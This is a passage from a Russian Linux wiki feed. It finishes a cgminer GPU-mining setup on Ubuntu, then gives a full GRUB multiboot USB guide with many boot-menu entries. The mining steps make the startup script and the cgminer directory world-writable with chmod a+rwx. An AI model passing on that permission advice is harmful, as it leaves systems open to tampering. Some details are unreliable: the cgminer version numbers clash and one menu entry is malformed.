7. Скачиваем &lt;strong&gt;python-jsonrpc.tar.gz&lt;/strong&gt; и ставим &lt;strong&gt;python-jsonrpc&lt;/strong&gt;:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;tar -xvf python-jsonrpc.tar.gz
cd ./python-jsonrpc
sudo python setup.py install&lt;/pre&gt;

&lt;p&gt;
8. Скачиваем cgminer и распаковываем его:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;wget http://ck.kolivas.org/apps/cgminer/cgminer-3.4.2-x86_64-built.tar.bz2
tar -xvf cgminer-3.4.0-x86_64-built.tar.bz2
sudo mv ./cgminer-3.4.0-x86_64-built/ /opt/cgminer&lt;/pre&gt;

&lt;p&gt;
9.Для разгона карт скачиваем и ставим &lt;strong&gt;adl3-0.3&lt;/strong&gt; - &lt;a href=&quot;https://github.com/mjmvisser/adl3&quot; class=&quot;urlextern&quot; title=&quot;https://github.com/mjmvisser/adl3&quot; rel=&quot;ugc nofollow&quot;&gt;https://github.com/mjmvisser/adl3&lt;/a&gt;&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;tar -xvf adl3-0.3.tar.gz
cd adl3-0.3/
sudo python setup.py install&lt;/pre&gt;

&lt;p&gt;
10. Создадим скрипт для разгона карты и старта майнинга - /opt/mine&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;#!/bin/sh


export DISPLAY=:0 &amp;amp;&amp;amp; export GPU_USE_SYNC_OBJECTS=1 &amp;amp;&amp;amp; export GPU_MAX_ALLOC_PERCENT=100
logger &amp;quot;Start mining&amp;quot;
#atitweak --adapter=0 --set-engine-clock=990 --set-memory-clock=300  --set-core-voltage=1.165 --set-fan-speed=100

#7950
/usr/local/bin/atitweak --adapter=1 --set-engine-clock=1030 --set-memory-clock=1500 --set-fan-speed=100
#7950
/usr/local/bin/atitweak --adapter=2 --set-engine-clock=1030 --set-memory-clock=1500 --set-fan-speed=100

#6930
/usr/local/bin/atitweak --adapter=0 --set-engine-clock=910 --set-fan-speed=100 --set-memory-clock=1400


#litecoin pool-x.eu
export DISPLAY=:0 &amp;amp;&amp;amp; export GPU_USE_SYNC_OBJECTS=1 &amp;amp;&amp;amp; export GPU_MAX_ALLOC_PERCENT=100 &amp;amp;&amp;amp; cd /opt/cgminer/ &amp;amp;&amp;amp; touch 1.bin &amp;amp;&amp;amp; rm *.bin &amp;amp;&amp;amp;
screen -d -m /opt/cgminer/cgminer --intensity 20 --thread-concurrency 8192,24576,24576 --lookup-gap 2 -o http://mine.pool-x.eu:9000 -u MikeQ.223 -p xxx --scrypt  --shaders 1280,1792,1792  --worksize 256 -g 1

#exit 0&lt;/pre&gt;

&lt;p&gt;
Сделаем его исполняемым:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo chmod a+rwx /opt/mine
sudo chmod a+rwx /opt/cgminer/ -R&lt;/pre&gt;

&lt;p&gt;
Немного заключительных штрихов:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt; sudo chmod a+rwx /opt/cgminer&lt;/pre&gt;

&lt;p&gt;
11. В файл &lt;strong&gt;./.vnc/xstartup&lt;/strong&gt; пропишем его запуск. Добавим строку:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;/opt/mine &amp;amp;&lt;/pre&gt;

&lt;p&gt;
12. Перезагружаемся. После перезагрузки в консоли можно набрать:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;screen -r&lt;/pre&gt;

&lt;p&gt;
и увидеть cgminer&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
13. Чтобы в случае зависания и последующей жесткой перезагрузки Ubuntu не останавливалась на меню GRUB нужно отключить &lt;strong&gt;recordfail&lt;/strong&gt;. Эта функция позволяет отследить некорректное завершение загрузки и предотвратить циклическую перезагрузку, останавливая таймер в меню GRUB.&lt;br/&gt;

Редактируем файл &lt;strong&gt;/etc/grub.d/00_header&lt;/strong&gt;. В нем находим кусочек, который формирует в файле &lt;strong&gt;/boot/grub/grub.cfg&lt;/strong&gt; проверку recordfail:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;make_timeout ()
{
    cat &amp;lt;&amp;lt; EOF
if [ &amp;quot;\${recordfail}&amp;quot; = 1 ]; then
  set timeout=-1 # This tells Grub to wait the keystroke choose
else
  set timeout=${2}
fi
EOF
}&lt;/pre&gt;

&lt;p&gt;
Заменяем &lt;strong&gt;set timeout=-1&lt;/strong&gt; на &lt;strong&gt;set timeout=0&lt;/strong&gt;:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;make_timeout ()
{
    cat &amp;amp;lt;&amp;amp;lt; EOF
if [ &amp;quot;\${recordfail}&amp;quot; = 1 ]; then
  set timeout=0 # Here we can just wait 10 seconds 
else
  set timeout=${2}
fi
EOF
}&lt;/pre&gt;

&lt;p&gt;
Для того чтобы изменения вступили в силу - запускаем обновление скриптов GRUB: &lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo update-grub&lt;/pre&gt;

&lt;p&gt;
Все.
&lt;/p&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:27 +0000</pubDate>
        </item>
        <item>
            <title>мультизагрузочная_флешка_с_помощью_grub</title>
            <link>https://wiki.autosys.tk/linux_faq/%D0%BC%D1%83%D0%BB%D1%8C%D1%82%D0%B8%D0%B7%D0%B0%D0%B3%D1%80%D1%83%D0%B7%D0%BE%D1%87%D0%BD%D0%B0%D1%8F_%D1%84%D0%BB%D0%B5%D1%88%D0%BA%D0%B0_%D1%81_%D0%BF%D0%BE%D0%BC%D0%BE%D1%89%D1%8C%D1%8E_grub</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;мультизагрузочная_linux-флешка&quot;&gt;Мультизагрузочная Linux-флешка&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Тут описана процедура создания флешки для загрузки множества &lt;strong&gt;iso&lt;/strong&gt;-образов на компьютерах с &lt;strong&gt;BIOS&lt;/strong&gt;. На компьютерах с &lt;strong&gt;UEFI&lt;/strong&gt; она не работает. Для компов с &lt;strong&gt;UEFI&lt;/strong&gt; я делал &lt;a href=&quot;https://wiki.autosys.tk/linux_faq/universal_multiboot_grub_bios_uefi&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:universal_multiboot_grub_bios_uefi&quot; data-wiki-id=&quot;linux_faq:universal_multiboot_grub_bios_uefi&quot;&gt;Универсальную загрузочную флешку для BIOS/UEFI&lt;/a&gt;.&lt;br/&gt;

Хорошо иметь под рукой флешку, с которой можно загрузиться для восстановления или установки системы. Также хорошо бы чтобы на ней помещались несколько разных образов &lt;strong&gt;ISO&lt;/strong&gt;, доступных из меню.
Создать такую флешку можно с помощью специализированных программных средств как под Linux ( &lt;a href=&quot;http://liveusb.info/dotclear&quot; class=&quot;urlextern&quot; title=&quot;http://liveusb.info/dotclear&quot; rel=&quot;ugc nofollow&quot;&gt;Multisystem&lt;/a&gt;) так и под Windows (&lt;a href=&quot;http://sites.google.com/site/shamurxboot/&quot; class=&quot;urlextern&quot; title=&quot;http://sites.google.com/site/shamurxboot/&quot; rel=&quot;ugc nofollow&quot;&gt;XBOOT&lt;/a&gt;), и даже мультиплатформенных (&lt;a href=&quot;http://www.pendrivelinux.com/yumi-multiboot-usb-creator/&quot; class=&quot;urlextern&quot; title=&quot;http://www.pendrivelinux.com/yumi-multiboot-usb-creator/&quot; rel=&quot;ugc nofollow&quot;&gt;Yumi&lt;/a&gt;).
Но можно пойти &lt;strong&gt;true linux way™&lt;/strong&gt; и использовать &lt;strong&gt;GRUB&lt;/strong&gt;.
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041c\u0443\u043b\u044c\u0442\u0438\u0437\u0430\u0433\u0440\u0443\u0437\u043e\u0447\u043d\u0430\u044f Linux-\u0444\u043b\u0435\u0448\u043a\u0430&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043c\u0443\u043b\u044c\u0442\u0438\u0437\u0430\u0433\u0440\u0443\u0437\u043e\u0447\u043d\u0430\u044f_linux-\u0444\u043b\u0435\u0448\u043a\u0430&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;1-1342&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit2&quot; id=&quot;создание_и_форматирование_раздела&quot;&gt;Создание и форматирование раздела&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Сначала нужно создать на флешке раздел и сделать его загрузочным.
Запускаем &lt;strong&gt;fdisk&lt;/strong&gt; и натравливаем его на нашу флешку. Нижеприведенные команды делаем с правами &lt;strong&gt;root&lt;/strong&gt;.
Список дисков смотрим командой:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;fdisk -l&lt;/pre&gt;

&lt;p&gt;
Запускаем &lt;strong&gt;fdisk&lt;/strong&gt; (указав свою флешку):
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;fdisk /dev/sdx&lt;/pre&gt;

&lt;p&gt;
Если на диске есть разделы, то ликвидируем их. Для этого жмем &lt;strong&gt;d&lt;/strong&gt; &lt;br/&gt;

После удаления разделов жмем &lt;strong&gt;n&lt;/strong&gt; и создаем новый.&lt;br/&gt;

В процессе создания указваем что раздел &lt;strong&gt;p&lt;/strong&gt; (primary).&lt;br/&gt;

После создания жмем &lt;strong&gt;a&lt;/strong&gt;, чтобы сделать раздел активным.&lt;br/&gt;

Затем жмем &lt;strong&gt;t&lt;/strong&gt;, чтобы задать тип раздела и вводим тип &lt;strong&gt;c&lt;/strong&gt; (FAT32).&lt;br/&gt;

Жмем &lt;strong&gt;w&lt;/strong&gt; и записываем изменения на флешку. &lt;br/&gt;

&lt;br/&gt;

Теперь надо отформатировать созданный раздел в FAT32:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;umount /dev/sdx1
mkfs.vfat -F 32 -n MULTIBOOT /dev/sdx1&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0421\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u0438 \u0444\u043e\u0440\u043c\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0440\u0430\u0437\u0434\u0435\u043b\u0430&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0435_\u0438_\u0444\u043e\u0440\u043c\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435_\u0440\u0430\u0437\u0434\u0435\u043b\u0430&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;1343-2636&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit3&quot; id=&quot;установка_загрузчика_grub&quot;&gt;Установка загрузчика GRUB&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Дальше ставим GRUB2 на флешку.&lt;br/&gt;

Создаем точку монтирования и монтируем флешку (не забываем &lt;strong&gt;sdx&lt;/strong&gt; менять на актуальные буквы, соотвествующие флешке):
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo mkdir /mnt/USB &amp;amp;&amp;amp; sudo mount /dev/sdx1 /mnt/USB&lt;/pre&gt;

&lt;p&gt;
Устанавливаем GRUB (выполняем с правами root):
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo grub-install --force --no-floppy --boot-directory=/mnt/USB/boot /dev/sdx &lt;/pre&gt;

&lt;p&gt;
Старые версии GRUB вместо &lt;strong&gt;–boot-directory&lt;/strong&gt; используют &lt;strong&gt;-root-directory&lt;/strong&gt;. Если что-то не так, то установщик GRUB скажет что &lt;strong&gt;“Installation is impossible. Aborting”&lt;/strong&gt;.&lt;br/&gt;

&lt;br/&gt;

Создаем на флешку файлик &lt;strong&gt;grub.cfg&lt;/strong&gt;
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;nano /mnt/USB/boot/grub/grub.cfg&lt;/pre&gt;

&lt;p&gt;
И заполняем его примерно так:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;set timeout=10
set default=0

menuentry &amp;quot;KNOPPIX_V7.2.0CD-2013-06-16-EN LiveCD&amp;quot; {
loopback loop /KNOPPIX_V7.2.iso
#linux (loop)/boot/isolinux/linux bootfrom=/KNOPPIX_V7.2.iso acpi=off keyboard=us language-us
linux (loop)/boot/isolinux/linux bootfrom=/KNOPPIX_V7.2.iso keyboard=us language-us
initrd (loop)/boot/isolinux/minirt.gz
}

menuentry &amp;quot;SystemRescueCd 4.6.1 Live (64bit, cache all files in memory and startX)&amp;quot; {
 loopback loop /systemrescuecd.4.6.1.iso
 linux (loop)/isolinux/rescue64 isoloop=/systemrescuecd.4.6.1.iso setkmap=us docache dostartx
 initrd (loop)/isolinux/initram.igz
}

menuentry &amp;quot;SystemRescueCd 4.6.1 Live (64bit, default boot options)&amp;quot; {
 loopback loop /systemrescuecd.4.6.1.iso
 linux (loop)/isolinux/rescue64 isoloop=/systemrescuecd.4.6.1.iso setkmap=us
 initrd (loop)/isolinux/initram.igz
}
  
menuentry &amp;quot;SystemRescueCd 4.6.1 Live (32bit, default boot options)&amp;quot; {
 loopback loop /systemrescuecd.4.6.1.iso
 linux (loop)/isolinux/rescue32 isoloop=/systemrescuecd.4.6.1.iso setkmap=us
 initrd (loop)/isolinux/initram.igz
}

menuentry &amp;quot;Ubuntu 14.04.3 x64 Desktop with GNOME. Live and Install&amp;quot; {
 loopback loop /ubuntu-14.04.3-desktop-amd64.iso
 linux (loop)/casper/vmlinuz.efi boot=casper iso-scan/filename=/ubuntu-14.04.3-desktop-amd64.iso quiet splash
 initrd (loop)/casper/initrd.lz
}

menuentry &amp;quot;Kubuntu 14.04.3 x64 Desktop with KDE. Live and Install&amp;quot; {
 loopback loop /kubuntu-14.04.3-desktop-amd64.iso
 linux (loop)/casper/vmlinuz.efi boot=casper iso-scan/filename=/kubuntu-14.04.3-desktop-amd64.iso quiet splash
 initrd (loop)/casper/initrd.lz
}

menuentry &amp;quot;Xubuntu 14.04.3 x64 Desktop with LXDE. Live and Install&amp;quot; {
        loopback loop /xubuntu-14.04.3-desktop-amd64.iso
        linux   (loop)/casper/vmlinuz.efi boot=casper iso-scan/filename=/xubuntu-14.04.3-desktop-amd64.iso quiet splash --
        initrd  (loop)/casper/initrd.lz 
}

menuentry &amp;quot;Ubuntu 14.04.3 x64 Server&amp;quot; {
        loopback loop /ubuntu-14.04.3-server-amd64.iso
	linux	(loop)/install/vmlinuz iso-scan/filename=/ubuntu-14.04.3-server-amd64.iso quiet --
	initrd	(loop)/install/initrd.gz
}

menuentry &amp;quot;CentOS 7 03.15 x64 Install&amp;quot; {
        loopback loop /CentOS-7-x86_64-Minimal-1503-01.iso
	linux	(loop)/isolinux/vmlinuz noeject inst.stage2=hd:LABEL=MIKEBOOT:/CentOS-7-x86_64-Minimal-1503-01.iso
	initrd	(loop)/isolinux/initrd.img
}

menuentry &amp;quot;SystemRescueCd 4.8.1 Live (64bit, default boot options)&amp;quot; {
 loopback loop /systemrescuecd-x86-4.8.1.iso
 linux (loop)/isolinux/rescue64 isoloop=/systemrescuecd-x86-4.8.1.iso setkmap=us
 initrd (loop)/isolinux/initram.igz
}

menuentry &amp;quot;Try Xubuntu x64 16.04.1 without installing&amp;quot; {
        loopback loop /xubuntu-16.04.1-desktop-amd64.iso
	set gfxpayload=keep
	linux	(loop)/casper/vmlinuz.efi iso-scan/filename=/xubuntu-16.04.1-desktop-amd64.iso file=(loop)/preseed/xubuntu.seed boot=casper quiet splash ---
	initrd	(loop)/casper/initrd.lz
}
menuentry &amp;quot;Install Xubuntu 16.04.1 x64&amp;quot; {
        loopback loop /xubuntu-16.04.1-desktop-amd64.iso
	set gfxpayload=keep
	linux	(loop)/casper/vmlinuz.efi iso-scan/filename=/xubuntu-16.04.1-desktop-amd64.iso file=(loop)/preseed/xubuntu.seed boot=casper only-ubiquity quiet splash ---
	initrd	(loop)/casper/initrd.lz
}

menuentry &amp;quot;Install Xubuntu 16.04.1 i386&amp;quot; {
        loopback loop /xubuntu-16.04.1-desktop-i386.iso
	set gfxpayload=keep
	linux	(loop)/casper/vmlinuz iso-scan/filename=/xubuntu-16.04.1-desktop-i386.iso file=(loop)/preseed/xubuntu.seed boot=casper only-ubiquity quiet splash ---
	initrd	(loop)/casper/initrd.lz
}

menuentry &amp;quot;Install Ubuntu Server 16.04.2 {
    loopback loop /ubuntu-16.04.2-server-amd64.iso
	set gfxpayload=keep
	linux	(loop)/install/vmlinuz file=/cdrom/preseed/ubuntu-server.seed quiet ---
	initrd	(loop)/install/initrd.gz
}

menuentry &amp;quot;Fedora-Workstation-Live 25&amp;quot; {
 loopback loop /Fedora-Workstation-Live-x86_64-25-1.3.iso
 linux (loop)/isolinux/vmlinuz iso-scan/filename=/Fedora-Workstation-Live-x86_64-25-1.3.iso root=live:CDLABEL=Fedora-WS-Live-25-1-3 rd.live.image quiet rootfstype=auto ro rhgb rd.luks=0 rd.md=0 rd.dm=0
 initrd (loop)/isolinux/initrd.img
}

menuentry &amp;quot;Fedora-KDE-Live 25&amp;quot; {
 loopback loop /Fedora-KDE-Live-x86_64-25-1.3.iso
 linux (loop)/isolinux/vmlinuz iso-scan/filename=/Fedora-KDE-Live-x86_64-25-1.3.iso root=live:CDLABEL=Fedora-KDE-Live-25-1-3 rd.live.image quiet rootfstype=auto ro rhgb rd.luks=0 rd.md=0 rd.dm=0
 initrd (loop)/isolinux/initrd.img
}

menuentry &amp;quot;Install Kubnuntu 16.04.2 Desktop&amp;quot; {
        loopback loop /kubuntu-16.04.2-desktop-amd64.iso
	set gfxpayload=keep
	linux	(loop)/casper/vmlinuz.efi  iso-scan/filename=/kubuntu-16.04.2-desktop-amd64.iso file=(loop)/preseed/kubuntu.seed boot=casper only-ubiquity quiet splash oem-config/enable=true ---
	initrd	(loop)/casper/initrd.lz
}

&lt;/pre&gt;

&lt;p&gt;
Этот содержит конфигурацию для загрузки с флешки &lt;strong&gt;KNOPPIX 7.2&lt;/strong&gt;, &lt;strong&gt;SystemRescueCd 4.6.1&lt;/strong&gt;, различных вариантов &lt;strong&gt;Ubuntu&lt;/strong&gt; и &lt;strong&gt;CentOS 7&lt;/strong&gt;. 
А дальше осталось просто положить указанные в &lt;strong&gt;grub.cfg&lt;/strong&gt; образы ISO в корневую директорию флешки и переименовать их как указано в файле.
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0423\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 \u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a\u0430 GRUB&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430_\u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a\u0430_grub&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:3,&amp;quot;range&amp;quot;:&amp;quot;2637-8771&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit4&quot; id=&quot;еще_немного_примеров&quot;&gt;Еще немного примеров&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;menuentry &amp;quot;Linux Mint ISO&amp;quot; {
 loopback loop /linuxmint.iso
 linux (loop)/casper/vmlinuz file=/cdrom/preseed/mint.seed boot=casper initrd=/casper/initrd.l iso-scan/filename=/linuxmint.iso noeject noprompt splash --
 initrd (loop)/casper/initrd.lz
}

menuentry &amp;quot;DBAN ISO&amp;quot; {
 loopback loop /dban.iso
 linux (loop)/DBAN.BZI nuke=&amp;quot;dwipe&amp;quot; iso-scan/filename=/dban.iso silent --
}
                                                                                                                                                                            
menuentry &amp;quot;Tinycore ISO&amp;quot; {                                                                                                                                                                      
 loopback loop /tinycore.iso 
 linux (loop)/boot/bzImage --
 initrd (loop)/boot/tinycore.gz
}

menuentry &amp;quot;Memtest 86+&amp;quot; {
 linux16 /memtest86+.bin
}

menuentry &amp;quot;Debian 9.5 i386 Install&amp;quot; {
    set background_color=black
    loopback loop /debian-9.5.0-i386-netinst.iso
    linux    (loop)/install.386/vmlinuz vga=788 --- quiet 
    initrd   (loop)/install.386/initrd.gz
}

menuentry &amp;quot;Install Kubnuntu 19.04 Desktop&amp;quot; {
    loopback loop /kubuntu-19.04-desktop-amd64.iso
	set gfxpayload=keep
	linux	(loop)/casper/vmlinuz  iso-scan/filename=/kubuntu-19.04-desktop-amd64.iso file=(loop)/preseed/kubuntu.seed boot=casper only-ubiquity quiet splash oem-config/enable=true ---
	initrd	(loop)/casper/initrd
}

menuentry &amp;quot;Install Ubnuntu 20.04 Server&amp;quot; {
    insmod part_gpt
    insmod ext2
    insmod search_fs_uuid
    rmmod tpm

    search --no-floppy --set=root --fs-uuid 36c1a912-77c7-4cec-8120-c2088e1e131c
    
    set isofile=&amp;quot;/ubuntu-20.04-live-server-amd64.iso&amp;quot;
    set gfxpayload=keep
    
    loopback loop ($root)$isofile

	linux	(loop)/casper/vmlinuz iso-scan/filename=${isofile} quiet ---
	initrd	(loop)/casper/initrd
}

menuentry &amp;quot;Install Ubnuntu 21.10 Server&amp;quot; {
    set gfxpayload=keep
    set isofile=&amp;quot;/ubuntu-21.10-live-server-amd64.iso&amp;quot;
    
    loopback loop ($root)$isofile

	linux	(loop)/casper/vmlinuz iso-scan/filename=${isofile} quiet ---
	initrd	(loop)/casper/initrd
}

menuentry &amp;quot;Install Ubuntu Server 16.04 i386&amp;quot; {
    loopback loop /ubuntu-16.04.6-server-i386.iso
	set gfxpayload=keep
	linux	(loop)/install/vmlinuz isoloop=/ubuntu-16.04.6-server-i386.iso file=/cdrom/preseed/ubuntu-server.seed quiet splash ---
	initrd	(loop)/install/initrd.gz
}

menuentry &amp;#039;Debian 10 i386 Install&amp;#039; {
    set background_color=black
    loopback loop /debian-edu-10.0.0-i386-netinst.iso
    linux    (loop)/install.386/gtk/vmlinuz findiso=/debian-edu-10.0.0-i386-netinst.iso modules=debian-edu-install-udeb desktop=xfce vga=788 --- quiet 
    initrd   (loop)/install.386/gtk/initrd.gz
}&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0415\u0449\u0435 \u043d\u0435\u043c\u043d\u043e\u0433\u043e \u043f\u0440\u0438\u043c\u0435\u0440\u043e\u0432&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0435\u0449\u0435_\u043d\u0435\u043c\u043d\u043e\u0433\u043e_\u043f\u0440\u0438\u043c\u0435\u0440\u043e\u0432&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:1,&amp;quot;secid&amp;quot;:4,&amp;quot;range&amp;quot;:&amp;quot;8772-11565&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit5&quot; id=&quot;добавление_других_образов_iso&quot;&gt;Добавление других образов ISO&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Для добавления других образов ISO нужно в файлик &lt;strong&gt;/boot/grub/grub.cfg&lt;/strong&gt; прописывать параметры, которые обычно можно найти в файлах &lt;strong&gt;grub.cfg&lt;/strong&gt;, &lt;strong&gt;syslinux.cfg&lt;/strong&gt; и других, входящих в состав образа ISO. &lt;br/&gt;

То есть создаем новый раздел меню в &lt;strong&gt;/boot/grub/grub.cfg&lt;/strong&gt; (копируя уже существующий), затем указываем файл ISO в строке &lt;strong&gt;loopback&lt;/strong&gt;, а в строку &lt;strong&gt;linux&lt;/strong&gt; указываем путь к ядру (то что &lt;strong&gt;append&lt;/strong&gt; из &lt;strong&gt;syslinux.cfg&lt;/strong&gt;). В строке &lt;strong&gt;initrd&lt;/strong&gt; указываем путь к файлу &lt;strong&gt;initrd&lt;/strong&gt;.
&lt;/p&gt;

&lt;p&gt;
Скорее всего, в строке &lt;strong&gt;linux&lt;/strong&gt; после пути к файлу ядра придется указать параметры загрузки ядра, которые позволят ядру работать с loop-устройством, на которое монтируется файл ISO. Для систем со схожим ядром, параметры, как правило, одинаковые. Например, для загрузки &lt;strong&gt;Fedora&lt;/strong&gt; подойдут параметры от &lt;strong&gt;CentOS&lt;/strong&gt;.
&lt;/p&gt;

&lt;p&gt;
Много обновляемой информации о загрузке ISO образов с помощью GRUB можно тут: &lt;a href=&quot;https://wiki.archlinux.org/index.php/Multiboot_USB_drive&quot; class=&quot;urlextern&quot; title=&quot;https://wiki.archlinux.org/index.php/Multiboot_USB_drive&quot; rel=&quot;ugc nofollow&quot;&gt;https://wiki.archlinux.org/index.php/Multiboot_USB_drive&lt;/a&gt;
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0414\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0434\u0440\u0443\u0433\u0438\u0445 \u043e\u0431\u0440\u0430\u0437\u043e\u0432 ISO&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u0438\u0435_\u0434\u0440\u0443\u0433\u0438\u0445_\u043e\u0431\u0440\u0430\u0437\u043e\u0432_iso&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:2,&amp;quot;secid&amp;quot;:5,&amp;quot;range&amp;quot;:&amp;quot;11566-13100&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit6&quot; id=&quot;загрузка_установочных_образов_windows_7_и_windows_10_c_помощью_grub&quot;&gt;Загрузка установочных образов Windows 7 и Windows 10 c помощью GRUB&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Монтируем iso-образ &lt;strong&gt;Windows 7&lt;/strong&gt; или &lt;strong&gt;Windows 10&lt;/strong&gt;, копируем с него все файлы на флешку с помощью &lt;strong&gt;cp&lt;/strong&gt; или &lt;strong&gt;rsync&lt;/strong&gt; и дописываем в &lt;strong&gt;grub.cfg&lt;/strong&gt; такое:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;set timeout=10
set default=0

menuentry &amp;quot;Windows 7 or Windows 10 installer&amp;quot; --class windows --class os {
    insmod part_msdos
    insmod ntfs
    insmod ntldr
    search --no-floppy --label MULTIBOOT --set=root
    ntldr /bootmgr
}&lt;/pre&gt;

&lt;p&gt;
Тут &lt;strong&gt;grub&lt;/strong&gt; будет загружать модули с помощью &lt;strong&gt;insmod&lt;/strong&gt;, потом &lt;strong&gt;search&lt;/strong&gt; - искать раздел с меткой &lt;strong&gt;MULTIBOOT&lt;/strong&gt; и когда найдет - с помощью &lt;strong&gt;–set&lt;/strong&gt; укажет, что &lt;strong&gt;root&lt;/strong&gt; находится на этом разделе, а затем передаст управление &lt;strong&gt;/bootmgr&lt;/strong&gt; &lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
В принципе, для красоты и удобства, было бы неплохо создать отдельный раздел на флешке (так я поступил при создании нового варианта флешки - &lt;a href=&quot;https://wiki.autosys.tk/linux_faq/universal_multiboot_grub_bios_uefi&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:universal_multiboot_grub_bios_uefi&quot; data-wiki-id=&quot;linux_faq:universal_multiboot_grub_bios_uefi&quot;&gt;Универсальная загрузочная флешка для BIOS/UEFI&lt;/a&gt;), отформатировать его с меткой &lt;strong&gt;Win7&lt;/strong&gt;, распаковать файлы из iso-образа туда и указывать &lt;strong&gt;–label Win7&lt;/strong&gt;. Просто в дистрибутиве &lt;strong&gt;windows&lt;/strong&gt; также есть директоррия &lt;strong&gt;boot&lt;/strong&gt; и если понадобится очистить флешку от инсталлятора &lt;strong&gt;windows&lt;/strong&gt;, не затрагивая остальные ОС, то из этой директории файлы придется удалять вручную.
&lt;/p&gt;

&lt;/div&gt;
